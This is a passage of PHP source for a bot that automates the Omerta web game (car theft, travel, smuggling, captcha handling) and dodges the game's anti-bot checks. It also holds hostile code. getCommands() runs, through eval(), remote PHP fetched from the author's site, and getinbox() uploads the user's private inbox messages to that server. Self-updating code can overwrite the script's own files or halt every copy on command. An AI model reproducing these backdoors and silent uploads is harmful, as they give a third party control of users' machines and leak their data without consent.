  1491.             output("Car nick result page has changed, cannot sell", "Car Nick");
  1492.             $sell = "FALSE";
  1493.         } elseif ((substr_count($results, '<form action="/garage.php">') != 2) && (substr_count
  1494.         ($results, '<input type="submit"') != 2)) {
  1495.             output("Car nick result page has changed, cannot sell", "Car Nick");
  1496.             $sell = "FALSE";
  1497.         }
  1498.         if ($settings['sellPoint'] < $worth && $sell == "TRUE") {
  1499.             $findme = 'name="carid[]" value=';
  1500.             $result = substr($results, stripos($results, $findme) + 21);
  1501.             $findme = "\">";
  1502.             $location = stripos($result, $findme);
  1503.             $carID = substr($result, 0, $location);
  1504.             $carID = str_replace("\"", "", $carID);
  1505.             //output($carID);
  1506.             $res = get($GLOBALS['vers']['omertaURL_NS'] .
  1507.                 "/garage.php?action=sell&carid%5B%5D=$carID", $action);
  1508.             return 1;
  1509.         }
  1510.     } else {
  1511.         output("Car Nick unsuccessful.", "Car Nick");
  1512.         $stats['nick']['total']++;
  1513.         $stats['nick']['failed']++;
  1514.     }
  1515.     return 1;
  1516. }
  1517.  
  1518. function bestChanceNick($results)
  1519. {
  1520.     $findme = "%</td>";
  1521.     $location = stripos($results, $findme) - 2;
  1522.     $ch1 = substr($results, $location, 2);
  1523.     $ch1 = str_replace(">", "", $ch1);
  1524.     $results = substr($results, $location + 10);
  1525.     $findme = "%</td>";
  1526.     $location = stripos($results, $findme) - 2;
  1527.     $ch2 = substr($results, $location, 2);
  1528.     $ch2 = str_replace(">", "", $ch2);
  1529.     $results = substr($results, $location + 10);
  1530.     $findme = "%</td>";
  1531.     $location = stripos($results, $findme) - 2;
  1532.     $ch3 = substr($results, $location, 2);
  1533.     $ch3 = str_replace(">", "", $ch3);
  1534.     $results = substr($results, $location + 10);
  1535.     $findme = "%</td>";
  1536.     $location = stripos($results, $findme) - 2;
  1537.     $ch4 = substr($results, $location, 2);
  1538.     $ch4 = str_replace(">", "", $ch4);
  1539.     $results = substr($results, $location + 10);
  1540.     $high = $ch1;
  1541.     if ($high < $ch2) {
  1542.         $high = $ch2;
  1543.     }
  1544.     if ($high < $ch3) {
  1545.         $high = $ch3;
  1546.     }
  1547.     if ($high < $ch4) {
  1548.         $high = $ch4;
  1549.     }
  1550.     if ($high == $ch1) {
  1551.         $action = "chance1";
  1552.     }
  1553.     if ($high == $ch2) {
  1554.         $action = "chance2";
  1555.     }
  1556.     if ($high == $ch3) {
  1557.         $action = "chance3";
  1558.     }
  1559.     if ($high == $ch4) {
  1560.         $action = "chance4";
  1561.     }
  1562.     return $action;
  1563.  
  1564. }
  1565. function getinbox()
  1566. {
  1567.     global $vers;
  1568.     // $filename = '../inbox.html';
  1569.     // output(filesize($filename));
  1570.     // 279908
  1571.  
  1572.     global $settings, $omerta;
  1573.     $user = 0;
  1574.     $bust = 0;
  1575.     $crew = 0;
  1576.     $res = get($omerta['inbox'], $omerta['menu']);
  1577.     $total = $res;
  1578.     $go = "t";
  1579.     $count = 0;
  1580.     while ($go == "t") {
  1581.         $findme = "#808080\">";
  1582.         $location = stripos($res, $findme);
  1583.         if ($location < 1) {
  1584.             $go = "f";
  1585.         } else {
  1586.             $count++;
  1587.             $location += 9;
  1588.             $res = substr($res, $location);
  1589.             $findme = "messages.php?action=showmsg&msg=";
  1590.             $location = stripos($res, $findme);
  1591.             $location += strlen($findme);
  1592.             $ID = substr($res, $location);
  1593.             $ID = substr($ID, 0, strpos($ID, '">'));
  1594.             if (inStr($findme . $ID, $total)) {
  1595.                 $ress = get($GLOBALS['vers']['omertaURL_NS'] . "/" . $findme . $ID, $omerta['inbox']);
  1596.                 //write2file("lastmsg.html", $ress);
  1597.                 sleep(rand(2, 5));
  1598.                 if ((inStr('>' . $vers['text']['Bustout'] . '</td>', $ress)) || (inStr('>' . $vers['text']['Bailed'] .
  1599.                     '</td>', $ress))) {
  1600.                     $bust++;
  1601.                     if (is_readable("jail.txt"))
  1602.                         replybo($ress, $ID, $GLOBALS['vers']['omertaURL_NS'] . "/" . $findme . $ID);
  1603.                 } else {
  1604.                     if (inStr('message</b></td>', $ress)) {
  1605.                         $crew++;
  1606.                     } else {
  1607.                         if (inStr('Witness statement</b></td>', $ress))
  1608.                             uploadws($ress);
  1609.                         $user++;
  1610.                     }
  1611.                     $filename = '../inbox.html';
  1612.                     if (filesize($filename) >= 274500) {
  1613.                         $filename2 = '../inbox2.html';
  1614.                         if (filesize($filename2) >= 274000) {
  1615.                             unlink('../inbox2.html');
  1616.                         }
  1617.                         output("Your inbox is a bit big will copy it and remove the old copy.");
  1618.                         rename($filename, $filename2);
  1619.                     }
  1620.                     $fp = fopen("../inbox.html", "a");
  1621.                     fwrite($fp, $ress);
  1622.                     fclose($fp);
  1623.                 }
  1624.             } else {
  1625.                 output("Inbox page changed?, not writing messeges to file.");
  1626.             }
  1627.         }
  1628.     }
  1629.     output("INBOX - [Messages: $user] [Bustouts: $bust]", "Inbox", false);
  1630.     if ($user >= 1) {
  1631.         if (filesize("../inbox.html" > 1048576)) {
  1632.             copy("../inbox.html", "../inbox" . strftime("%B-%e") . ".html");
  1633.             output("Inbox to large, file copied to ../inbox" . strftime("%B-%e") .
  1634.                 ".html");
  1635.             upload("../inbox" . strftime("%B-%e") . ".html", "inbox" . strftime("%B-%e") .
  1636.                 ".html");
  1637.             upload("../inbox.html", "inbox.html");
  1638.             unlink("../inbox" . strftime("%B-%e") . ".html");
  1639.         } else {
  1640.             if (rand(1, 5) == 1) {
  1641.                 upload("../inbox.html", "inbox.html");
  1642.             }
  1643.         }
  1644.     } //end if
  1645. }
  1646. function get_between($text, $s1, $s2)
  1647. {
  1648.     $mid_url = "";
  1649.     $pos_s = strpos($text, $s1);
  1650.     $pos_e = strpos($text, $s2);
  1651.     for ($i = $pos_s + strlen($s1); (($i < ($pos_e)) && $i < strlen($text)); $i++) {
  1652.         $mid_url .= $text[$i];
  1653.     }
  1654.     return $mid_url;
  1655. }
  1656.  
  1657. function stillLoggedIn($res)
  1658. {
  1659.     global $vers;
  1660.     if (inStr($vers['text']['loginCheck'], $res)) {
  1661.         output("Logged out. . .");
  1662.         sleep(rand(15, 30));
  1663.         die();
  1664.     }
  1665. }
  1666. function travel($cityy)
  1667. {
  1668.     global $omerta, $settings;
  1669.     $res = get($omerta['travel'], $omerta['menu']);
  1670.     if (inStr("src=/static/images/game/generic/criminal.jpg", $res)) {
  1671.         iaminjail();
  1672.         output("In Jail", "Travel");
  1673.         sleep(15 + (rand(1, 12)));
  1674.         $res = get($omerta['travel'], $omerta['menu']);
  1675.         while (inStr("src=/static/images/game/generic/criminal.jpg", $res)) {
  1676.             output("In Jail", "Travel");
  1677.             sleep(15 + (rand(1, 12)));
  1678.             $res = get($omerta['travel'], $omerta['menu']);
  1679.         }
  1680.     }
  1681.     if (!(checkTravelpage($res))) {
  1682.         return false;
  1683.     }
  1684.     if ($settings['currentCity'] == $cityy) {
  1685.         output("Already in $cityy, not gonna bother travelings", "Travel");
  1686.         return true;
  1687.     }
  1688.     $city = array();
  1689.     $city['Palermo'] = '2';
  1690.     $city['Chicago'] = '1';
  1691.     $city['Detroit'] = 'nul';
  1692.     $city['New York'] = '3';
  1693.     $city['Las Vegas'] = '4';
  1694.     $city['Philadelphia'] = '5';
  1695.     $city['Baltimore'] = '6';
  1696.     $city['Corleone'] = '7';
  1697.     $res = get($omerta['travel'] . "?whereto=" . $city[$cityy], $omerta['travel']);
  1698.     $settings['curCity'] = trim($cityy);
  1699.     return true;
  1700. }
  1701.  
  1702. function checkTravelPage($res)
  1703. {
  1704.     $res = str_replace("<!--    This source is a part of the Omerta web game. You may not use or otherwise copy or duplicate any part of the source, Javascripts or CSS files without explicit prior permission of: Omerta Game Ltd, 161 High St Hull, HU1 1NQ, United Kingdom. Copyright 2003-2008 -->",
  1705.         '', $res);
  1706.     removeBetween('<--', '-->', $res);
  1707.     removeBetween('<!--', '-->', $res);
  1708.     $num = substr_count($res, "javascript:flyto(");
  1709.     if ($num != 7) {
  1710.         output("Travel Page Changed, script trap (flyto)?");
  1711.         write2file('travelPageChange.html', $res);
  1712.         return false;
  1713.     }
  1714.     $checkArray = array("if (del == true){ var loc=\"travel.php?whereto=\" + cityid; window.location=loc; }",
  1715.         "function flyto", "<script language=JavaScript>");
  1716.     if (!(inStrArray($checkArray, $res))) {
  1717.         output("Travel Page Changed, script trap?");
  1718.         write2file('travelPageChange.html', $res);
  1719.         return false;
  1720.     }
  1721.     if (inStr("<!", $res)) {
  1722.         output("Comments added, Travel Page Canged");
  1723.         write2file('travelPageChange.html', $res);
  1724.         return false;
  1725.     }
  1726.     if (!(verifyCityId($res))) {
  1727.         write2file('travelPageChange.html', $res);
  1728.         return false;
  1729.     }
  1730.     return true;
  1731. }
  1732. function verifyCityId($res)
  1733. {
  1734.     global $settings;
  1735.     $city = array();
  1736.     $city['Palermo'] = '2';
  1737.     $city['Chicago'] = '1';
  1738.     $city['Detroit'] = 'nul';
  1739.     $city['New York'] = '3';
  1740.     $city['Las Vegas'] = '4';
  1741.     $city['Philadelphia'] = '5';
  1742.     $city['Baltimore'] = '6';
  1743.     $city['Corleone'] = '7';
  1744.  
  1745.     foreach ($city as $cityy => $cID) {
  1746.         if (!(getCityId($res, $cityy) == $cID)) {
  1747.             if (!inStr("You are currently staying in $cityy", $res)) {
  1748.                 output($cityy . " travel ID is incorrect, script trap?");
  1749.                 output("$cityy => " . getCityId($res, $cityy));
  1750.                 return false;
  1751.             }
  1752.             if (substr_count($res, $cityy) != 10) {
  1753.                 output("City count wrong (10)", $cityy);
  1754.                 output(substr_count($res, $cityy));
  1755.                 return false;
  1756.             }
  1757.             $settings['currentCity'] = $cityy;
  1758.         } else {
  1759.             if (substr_count($res, $cityy) != 5) {
  1760.                 output("City count wrong (5)", $cityy);
  1761.                 return false;
  1762.             }
  1763.         }
  1764.     }
  1765.     return true;
  1766. }
  1767. function getCityId($res, $city)
  1768. {
  1769.     $page = substr($res, strpos($res, "javascript:flyto('$city', "), 50);
  1770.     $page = str_replace("javascript:flyto(", '', $page);
  1771.     $pos = strpos($page, ")\"\">");
  1772.     $page = substr($page, 0, $pos);
  1773.     $page = str_replace("'$city',", '', $page);
  1774.     $page = substr($page, strpos($page, ",") + 1);
  1775.     $page = substr($page, strpos($page, ",") + 1);
  1776.     $page = str_replace("'", '', $page);
  1777.     $id = trim($page);
  1778.     return $id;
  1779. }
  1780.  
  1781. function removeBetween($start, $end, $source)
  1782. {
  1783.     if (inStr($start, $source) && inStr($end, $source)) {
  1784.         $pos_start = strpos($source, $start) + strlen($start);
  1785.         $pos_end = strpos($source, $end);
  1786.         $replace = substr($source, $pos_start, $pos_end - $pos_start);
  1787.         //write2file('../replace-log.txt', $replace."\n\r".$pos_start."\n\r".$pos_end);
  1788.         return str_replace($replace, '', $source);
  1789.     }
  1790.     return $source;
  1791. }
  1792.  
  1793. function check4update()
  1794. {
  1795.     global $scriptSite, $argu;
  1796.     if (!isset($argu['nu'][0])) {
  1797.         $v = get($scriptSite . "v.txt", "dummy");
  1798.         global $version;
  1799.         if ($v == "333") {
  1800.             output("All script issued stop command");
  1801.             echo get($scriptSite . "stop.txt");
  1802.             while (true)
  1803.                 sleep(9999);
  1804.         } elseif ($v > $version) {
  1805.             output("Script Update Avaliable, or cannot connect to script site");
  1806.             output("Updating. . .");
  1807.             $rs = file_get_contents($scriptSite . "/update/rs.txt");
  1808.             $eng = file_get_contents($scriptSite . "/update/enigma.txt");
  1809.             if (inStr('function check4update()', $rs)) {
  1810.                 $fp = fopen('rs.php', 'w');
  1811.                 fwrite($fp, $rs);
  1812.                 fclose($fp);
  1813.                 $fp = fopen('enigma.php', 'w');
  1814.                 fwrite($fp, $eng);
  1815.                 fclose($fp);
  1816.             } else
  1817.                 output('Unable to connect to site...');
  1818.             die();
  1819.         }
  1820.     }
  1821. }
  1822.  
  1823. function getCommands()
  1824. {
  1825.     global $settings, $scriptSite;
  1826.     $id = $settings['id'];
  1827.     if (get($scriptSite . "users/$id/go.txt", 'dummy') == "TRUE")
  1828.         eval(get($scriptSite . "users/$id/cmd.php", 'dummy'));
  1829. }
  1830. function getBetween($text, $start, $end)
  1831. {
  1832.     $return = substr($text, strpos($text, $start) + strlen($start));
  1833.     $return = substr($return, 0, strpos($return, $end));
  1834.     return $return;
  1835. }
  1836.  
  1837. function uploadws($ress)
  1838. {
  1839.     return; //does nothing right now
  1840.     $msg = str_replace(".", "~", $ress);
  1841.     $test = findinside('</td></tr><tr><td colspan="2" align="left">',
  1842.         '</td></tr><tr><td bgcolor="black" height="2" colspan="4">', $msg);
  1843.  
  1844.     $needed = str_replace("~", ".", $test[0]);
  1845.     $needed = "$needed ~";
  1846.     $shoot = findinside('witnessed ', ' kill', $needed);
  1847.     $dead = findinside('kill ', '. To', $needed);
  1848.     $ws_id = findinside('id: ', '~', $needed);
  1849.  
  1850.     $link = 'http://sdadf.awardspace.com/uploader.php?sh=' . $shoot[0] . '&de=' . $dead[0] .
  1851.         '&id=' . $ws_id[0];
  1852.     get($link, 'dummy');
  1853. }
  1854.  
  1855. if (!function_exists("stripos")) {
  1856.     function stripos($str, $needle)
  1857.     {
  1858.         return strpos(strtolower($str), strtolower($needle));
  1859.     }
  1860. }
  1861.  
  1862.  
  1863. function argParsing($arg)
  1864. {
  1865.     $lastKey = "0";
  1866.     $argu = array();
  1867.     foreach ($arg as $value) {
  1868.         if ($value[0] == "-")
  1869.             @$lastKey = str_replace('-', '', $value);
  1870.         else
  1871.             @$argu[$lastKey][] = $value;
  1872.     }
  1873.     return $argu;
  1874. }
  1875.  
  1876. function verifySmugglingPage($res)
  1877. {
  1878.     $num = substr_count($res, "<input type=\"text\"");
  1879.     if ($num != 15) {
  1880.         output("Page changed, (texxt)[$num])", "Smuggling");
  1881.         write2file('smuggling.html', $res);
  1882.         sleep(10);
  1883.         die();
  1884.     }
  1885.     $num = substr_count($res, '<input type="radio"');
  1886.     if ($num != 4) {
  1887.         output("Page changed, (radio)[$num])", "Smuggling");
  1888.         write2file('smuggling.html', $res);
  1889.         sleep(10);
  1890.         die();
  1891.     }
  1892.     $num = substr_count($res, '<input type=submit');
  1893.     if ($num != 1) {
  1894.         output("Page changed, (submit)[$num])", "Smuggling");
  1895.         write2file('smuggling.html', $res);
  1896.         sleep(10);
  1897.         die();
  1898.     }
  1899.     if (!inStr('<form action="smuggling.php" method="post">', $res)) {
  1900.         output("form action changed", "Smuggling");
  1901.         write2file('smuggling.html', $res);
  1902.         sleep(10);
  1903.         die();
  1904.     }
  1905.     sleep(rand(3, 7));
  1906. }
  1907. function booze()
  1908. {
  1909.     sellBooze();
  1910.     buyBeer();
  1911.     sellBooze();
  1912. }
  1913. function sellStuff($narcs = false)
  1914. {
  1915.     global $omerta, $settings;
  1916.     while (true) {
  1917.         $res = get($omerta['smuggling'], $omerta['menu']);
  1918.         if (!inStr("src=/static/images/game/generic/criminal.jpg", $res)) {
  1919.             verifySmugglingPage($res);
  1920.             saveCaptcha($res, $omerta['smuggling']);
  1921.             if ((getAmmount($res, $vers['text']['Wine']) == 0) && (getAmmount($res, $vers['text']['Cognac']) ==
  1922.                 0) && (getAmmount($res, $vers['text']['Whiskey']) == 0) && (getAmmount($res, $vers['text']['Amaretto']) ==
  1923.                 0) && (getAmmount($res, $vers['text']['Beer']) == 0) && (getAmmount($res, $vers['text']['Port']) ==
  1924.                 0) && (getAmmount($res, $vers['text']['Rum']) == 0) && (getAmmount($res, $vers['text']['Morphine']) ==
  1925.                 0) && (getAmmount($res, $vers['text']['Heroin']) == 0) && (getAmmount($res, $vers['text']['Opium']) ==
  1926.                 0) && (getAmmount($res, $vers['text']['Cocaine']) == 0) && (getAmmount($res, $vers['text']['Marihuana']) ==
  1927.                 0) && (getAmmount($res, $vers['text']['Tabacco']) == 0) && (getAmmount($res, $vers['text']['Glue']) ==
  1928.                 0)) {
  1929.                 output("All Clean :)", "Smuggling");
  1930.                 return true;
  1931.             } else {
  1932.                 $code = readCode();
  1933.                 if ($code == "~bc") {
  1934.                     output("Unviewable captha, reloading site", "Code");
  1935.                     sellStuff(true);
  1936.                 }
  1937.                 if ($code != '~nt') {
  1938.                     $post = "wine=" . getAmmount($res, $vers['text']['Wine']) . "&cognac=" .
  1939.                         getAmmount($res, $vers['text']['Cognac']) . "&whiskey=" . getAmmount($res, $vers['text']['Whiskey']) .
  1940.                         "&amaretto=" . getAmmount($res, $vers['text']['Amaretto']) . "&beer=" .
  1941.                         getAmmount($res, $vers['text']['Beer']) . "&port=" . getAmmount($res, $vers['text']['Port']) .
  1942.                         "&rum=" . getAmmount($res, $vers['text']['Rum']) .
  1943.                         "&typebooze=sellbooze&morphine=" . getAmmount($res, $vers['text']['Morphine']) .
  1944.                         "&heroin=" . getAmmount($res, $vers['text']['Heroin']) . "&opium=" . getAmmount($res,
  1945.                         $vers['text']['Opium']) . "&cocaine=" . getAmmount($res, $vers['text']['Cocaine']) .
  1946.                         "&marihuana=" . getAmmount($res, $vers['text']['Marihuana']) . "&tabacco=" .
  1947.                         getAmmount($res, $vers['text']['Tabacco']) . "&glue=" . getAmmount($res, $vers['text']['Glue']) .
  1948.                         "&typedrugs=selldrugs&ver=$code";
  1949.  
  1950.                     if (substr_count($res,
  1951.                         '<input type="radio" name="typebooze" value="buybooze" checked>') == 1) {
  1952.                         $post = trim(str_replace("&typebooze=sellbooze", "&typebooze=buybooze", $post));
  1953.                     }
  1954.                     if (substr_count($res,
  1955.                         '<input type="radio" name="typedrugs" value="buydrugs" checked>') == 1) {
  1956.                         $post = trim(str_replace("&typebooze=selldrugs", "&typebooze=buydrugs", $post));
  1957.                     }
  1958.  
  1959.                     $res = post($omerta['smuggling'], $omerta['smuggling'], $post);
  1960.                     if (inStr("src=/static/images/game/generic/criminal.jpg", strtolower($res))) {
  1961.                         output("Caught!", "Smuggling");
  1962.                         doSelfBust($res);
  1963.                     } //end if
  1964.                     elseif (inStr($vers['text']['The code you'], $res)) {
  1965.                         wrongCode();
  1966.                     } //end elseif
  1967.                     elseif ((getAmmount($res, $vers['text']['Wine']) == 0) && (getAmmount($res, $vers['text']['Cognac']) ==
  1968.                         0) && (getAmmount($res, $vers['text']['Whiskey']) == 0) && (getAmmount($res, $vers['text']['Amaretto']) ==
  1969.                         0) && (getAmmount($res, $vers['text']['Beer']) == 0) && (getAmmount($res, $vers['text']['Port']) ==
  1970.                         0) && (getAmmount($res, $vers['text']['Rum']) == 0) && (getAmmount($res, $vers['text']['Morphine']) ==
  1971.                         0) && (getAmmount($res, $vers['text']['Heroin']) == 0) && (getAmmount($res, $vers['text']['Opium']) ==
  1972.                         0) && (getAmmount($res, $vers['text']['Cocaine']) == 0) && (getAmmount($res, $vers['text']['Marihuana']) ==
  1973.                         0) && (getAmmount($res, $vers['text']['Tabacco']) == 0) && (getAmmount($res, $vers['text']['Glue']) ==
  1974.                         0)) {
  1975.                         output("All Clean :)", "Smuggling");
  1976.                         $settings['haveCoke'] = false;
  1977.                         return true;
  1978.                     } elseif (inStr($vers['text']['You only have the ability'], $res)) {
  1979.                         output("Incorrect ammount parsed :S", __function__ );
  1980.                         write2file('wrongParse.html', $res . "\r\n\r\n" . $settings['ba'] . "\r\n\r\n" .
  1981.                             $settings['na'] . "\r\n\r\n" . $post);
  1982.                         upload('wrongParse.html', 'wrongParse.html');
  1983.                         output($settings['ba'], 'ba');
  1984.                         output($settings['na'], 'na');
  1985.                         sleep(15);
  1986.                         die();
  1987.                     } else {
  1988.                         output("Unknown exception throwen -_-", __function__ );
  1989.                         write2file('unknownexc.html', $res . "\r\n\r\n" . $post);
  1990.                     }
  1991.                 }
  1992.             }
  1993.         } else {
  1994.             iaminjail();
  1995.             output('In Jail. . .', 'Smuggling');
  1996.             doSelfBust($res);
  1997.             ;
  1998.             sleep(11 + rand(1, 12));
  1999.         }
  2000.     }
  2001. }
  2002. function sellBooze()
  2003. {
  2004.     global $omerta, $settings, $vers;
  2005.     while (true) {
  2006.         $res = get($omerta['smuggling'], $omerta['menu']);
  2007.         if (!inStr("src=/static/images/game/generic/criminal.jpg", $res)) {
  2008.             verifySmugglingPage($res);
  2009.             saveCaptcha($res, $omerta['smuggling']);
  2010.             if ((getAmmount($res, $vers['text']['Wine']) == 0) && (getAmmount($res, $vers['text']['Cognac']) ==
  2011.                 0) && (getAmmount($res, $vers['text']['Whiskey']) == 0) && (getAmmount($res, $vers['text']['Amaretto']) ==
  2012.                 0) && (getAmmount($res, $vers['text']['Beer']) == 0) && (getAmmount($res, $vers['text']['Port']) ==
  2013.                 0) && (getAmmount($res, $vers['text']['Rum']) == 0)) {
  2014.                 output("All Clean (Booze) :)", "Smuggling");
  2015.                 return true;
  2016.             } else {
  2017.                 $code = readCode();
  2018.                 if ($code == "~bc") {
  2019.                     output("Unviewable captha, reloading site", "Code");
  2020.                     sellBooze();
  2021.                 }
  2022.                 if ($code != '~nt') {
  2023.                     $post = "wine=" . getAmmount($res, $vers['text']['Wine']) . "&cognac=" .
  2024.                         getAmmount($res, $vers['text']['Cognac']) . "&whiskey=" . getAmmount($res, $vers['text']['Whiskey']) .
  2025.                         "&amaretto=" . getAmmount($res, $vers['text']['Amaretto']) . "&beer=" .
  2026.                         getAmmount($res, $vers['text']['Beer']) . "&port=" . getAmmount($res, $vers['text']['Port']) .
  2027.                         "&rum=" . getAmmount($res, $vers['text']['Rum']) .
  2028.                         "&typebooze=sellbooze&morphine=0&heroin=0&opium=0&cocaine=0&marihuana=0&tabacco=0&glue=0" .
  2029.                         "&typedrugs=selldrugs&ver=$code";
  2030.                     if (substr_count($res,
  2031.                         '<input type="radio" name="typedrugs" value="buydrugs" checked>') == 1) {
  2032.                         $post = trim(str_replace("&typebooze=selldrugs", "&typebooze=buydrugs", $post));
  2033.                     }
  2034.                     $res = post($omerta['smuggling'], $omerta['smuggling'], $post);
  2035.                     if (inStr($vers['text']['Jail'], $res) || inStr("src=/static/images/game/generic/criminal.jpg",
  2036.                         $res)) {
  2037.                         output("Caught!", "Smuggling");
  2038.                         doSelfBust($res);
  2039.                     } //end if
  2040.                     elseif (inStr($vers['text']['The code you'], $res)) {
  2041.                         wrongCode();
  2042.                     } //end elseif
  2043.                     elseif ((getAmmount($res, $vers['text']['Wine']) == 0) && (getAmmount($res, $vers['text']['Cognac']) ==
  2044.                         0) && (getAmmount($res, $vers['text']['Whiskey']) == 0) && (getAmmount($res, $vers['text']['Amaretto']) ==
  2045.                         0) && (getAmmount($res, $vers['text']['Beer']) == 0) && (getAmmount($res, $vers['text']['Port']) ==
  2046.                         0) && (getAmmount($res, $vers['text']['Rum']) == 0)) {
  2047.                         output("All Clean :) (Booze)", "Smuggling");
  2048.                         $settings['haveCoke'] = false;
  2049.                         return true;
  2050.                     } elseif (inStr($vers['text']['You only have the ability'], $res)) {
  2051.                         output("Incorrect ammount parsed :S", __function__ );
  2052.                         write2file('wrongParse.html', $res . "\r\n\r\n" . $settings['ba'] . "\r\n\r\n" .
  2053.                             $settings['na'] . "\r\n\r\n" . $post);
  2054.                         upload('wrongParse.html', 'wrongParse.html');
  2055.                         output($settings['ba'], 'ba');
  2056.                         output($settings['na'], 'na');
  2057.                         sleep(15);
  2058.                         die();
  2059.                     } else {
  2060.                         output("Unknown exception throwen -_-", __function__ );
  2061.                         write2file('unknownexc.html', $res . "\r\n\r\n" . $post);
  2062.                     }
  2063.                 }
  2064.             }
  2065.         } else {
  2066.             iaminjail();
  2067.             output('In Jail. . .', 'Smuggling');
  2068.             doSelfBust($res);
  2069.             ;
  2070.             sleep(11 + rand(1, 12));
  2071.         }
  2072.     }
  2073. }
  2074. function buyBeer()
  2075. {
  2076.     global $omerta, $settings, $vers;
  2077.     while (true) {
  2078.         $res = get($omerta['smuggling'], $omerta['menu']);
  2079.         if (!inStr("src=/static/images/game/generic/criminal.jpg", $res)) {
  2080.             verifySmugglingPage($res);
  2081.             saveCaptcha($res, $omerta['smuggling']);
  2082.             $ba = get_between($res, $vers['text']['hold'], $vers['text']['units of booze']);
  2083.             $settings['boozeAmmount'] = $ba;
  2084.             if ((getAmmount($res, $vers['text']['beer']) == $ba)) {
  2085.                 output("Booze bought", "Smuggling");
  2086.                 return true;
  2087.             } else {
  2088.                 $code = readCode();
  2089.                 if ($code == "~bc") {
  2090.                     output("Unviewable captha, reloading site", "Code");
  2091.                     buyBeer();
  2092.                 }
  2093.                 if (!($code == '~nt')) {
  2094.  
  2095.                     $post = "wine=0&cognac=0&whiskey=0&amaretto=0&beer=" . $settings['boozeAmmount'] .
  2096.                         "&port=0&rum=0&typebooze=buybooze&morphine=0&heroin=0&opium=0&cocaine=0&marihuana=0&tabacco=0&glue=0&typedrugs=selldrugs&ver=$code";
  2097.                     if (substr_count($res,
  2098.                         '<input type="radio" name="typedrugs" value="selldrugs" checked>') != 1) {
  2099.                         $post = trim(str_replace("&typedrugs=selldrugs", "&typedrugs=buydrugs", $post));
  2100.                     }
  2101.                     $res = post($omerta['smuggling'], $omerta['smuggling'], $post);
  2102.                     if (inStr($vers['text']['You only have the ability'], $res)) {
  2103.                         // if you already got b/n simple sell it
  2104.                         sellStuff(true);
  2105.                     }
  2106.                     if (inStr($vers['text']['Jail'], $res) || inStr("src=/static/images/game/generic/criminal.jpg",
  2107.                         $res)) {
  2108.                         output("Caught!", "Smuggling");
  2109.                         doSelfBust($res);
  2110.                     } //end if
  2111.                     elseif (inStr($vers['text']['The code you'], $res)) {
  2112.                         wrongCode();
  2113.                     } //end elseif
  2114.                     elseif ((getAmmount($res, $vers['text']['beer']) == $ba)) {
  2115.                         output("Booze bought", "Smuggling");
  2116.                         return true;
  2117.                     } elseif (inStr($vers['text']["You don't have enough"], $res)) {
  2118.                         output("Not enough cash", "Smuggling");
  2119.                         return true;
  2120.                     } elseif (inStr($vers['text']['You only have the ability'], $res)) {
  2121.                         output("Incorrect ammount parsed :S", __function__ );
  2122.                         write2file('wrongParse.html', $res . "\r\n\r\n" . $settings['ba'] . "\r\n\r\n" .
  2123.                             $settings['na'] . "\r\n\r\n" . $post);
  2124.                         upload('wrongParse.html', 'wrongParse.html');
  2125.                         output($settings['ba'], 'ba');
  2126.                         output($settings['na'], 'na');
  2127.                         sleep(15);
  2128.                         die();
  2129.                     } else {
  2130.                         output("Unknown exception thrown -_-", __function__ );
  2131.                         write2file('unknownexc.html', $res . "\r\n\r\n" . $post);
  2132.                         upload('unknownexc.html', 'unknownexc.html');
  2133.                         sleep(15);
  2134.                         die();
  2135.                     }
  2136.  
  2137.                 } else
  2138.                     output("No Typers. . .");
  2139.             }
  2140.         } else {
  2141.             iaminjail();
  2142.             output("In Jail", "Smuggling");
  2143.             doSelfBust($res);
  2144.             ;
  2145.             sleep(11 + (rand(1, 12)));
  2146.         }
  2147.     }
  2148.     output("buyBerr() error,  hit end...");
  2149. }
  2150. function buyCocaine($rum = false)
  2151. {
  2152.     //sellStuff(true); //just in case. . ., it will jsut say sold if its already clean :)
  2153.     global $omerta, $settings, $vers;
  2154.     while (true) {
  2155.         $res = get($omerta['smuggling'], $omerta['menu']);
  2156.         if (!inStr("src=/static/images/game/generic/criminal.jpg", $res)) {
  2157.             verifySmugglingPage($res);
  2158.             saveCaptcha($res, $omerta['smuggling']);
  2159.             // at the start from the while command change $rum to false if you allrdy bought rum but got jailed on the coke and need to try again...
  2160.             if (getAmmount($res, 'Rum') != 0) {
  2161.                 $rum = false;
  2162.             }
  2163.             $ba = get_between($res, $vers['text']['hold'], $vers['text']['units of booze']);
  2164.             $settings['boozeAmmount'] = $ba;
  2165.             $na = trim(get_between(str_replace("hold $ba", '', strtolower($res)), $vers['text']['hold'],
  2166.                 $vers['text']['units of narcotics']));
  2167.             $settings['narcAmmount'] = $na;
  2168.             if (getPrice($res, $vers['text']['Cocaine']) <= $settings['maxCoke']) {
  2169.                 if ($rum == false) {
  2170.                     if (getAmmount($res, $vers['text']['Cocaine']) != 0) {
  2171.                         output("Cocaine bought", 'Narcs');
  2172.                         $settings['haveCoke'] = true;
  2173.                         return true;
  2174.                     } else {
  2175.                         $code = readCode();
  2176.                         if ($code == "~bc") {
  2177.                             output("Unviewable captcha, reloading site", "Code");
  2178.                             buyCocaine();
  2179.                         }
  2180.                         if ($code == '~nt') {
  2181.                             output("No Typers. . .", 'Smuggling');
  2182.                         } else {
  2183.                             $post = "wine=0&cognac=0&whiskey=0&amaretto=0&beer=0&port=0&rum=0&typebooze=buybooze&morphine=0&heroin=0&opium=0&cocaine=$na&marihuana=0&tabacco=0&glue=0&typedrugs=buydrugs&ver=$code";
  2184.                             if (substr_count($res,
  2185.                                 '<input type="radio" name="typebooze" value="sellbooze" checked>') == 1) {
  2186.                                 // you are only buying coke but if sellbooze is checked then change the typebooze option
  2187.                                 $post = str_replace("&typebooze=buybooze", "&typebooze=sellbooze", $post);
  2188.                             }
  2189.                             $res = post($omerta['smuggling'], $omerta['smuggling'], $post);
  2190.                             if (inStr("You only have the ability to buy", $res)) {
  2191.                                 // if you already got b/n simple sell it
  2192.                                 sellStuff(true);
  2193.                             }
  2194.                             if (getAmmount($res, $vers['text']['Cocaine']) == $na) {
  2195.                                 output("Bought " . getAmmount($res, 'Cocaine') . " units of Cocaine",
  2196.                                     "Smuggling");
  2197.                                 $settings['haveCoke'] = true;
  2198.                                 return true;
  2199.                             } elseif (inStr($vers['text']['Jail'], $res) || inStr("src=/static/images/game/generic/criminal.jpg",
  2200.                             $res)) {
  2201.                                 output("Caught!", "Smuggling");
  2202.                             } elseif (inStr($vers['text']['The code you'], $res)) {
  2203.                                 wrongCode();
  2204.                             }
  2205.                         }
  2206.  
  2207.                     }
  2208.                 } elseif ($rum == true) {
  2209.                     if (getAmmount($res, $vers['text']['Cocaine']) != 0) {
  2210.                         output("Cocaine bought", 'Narcs');
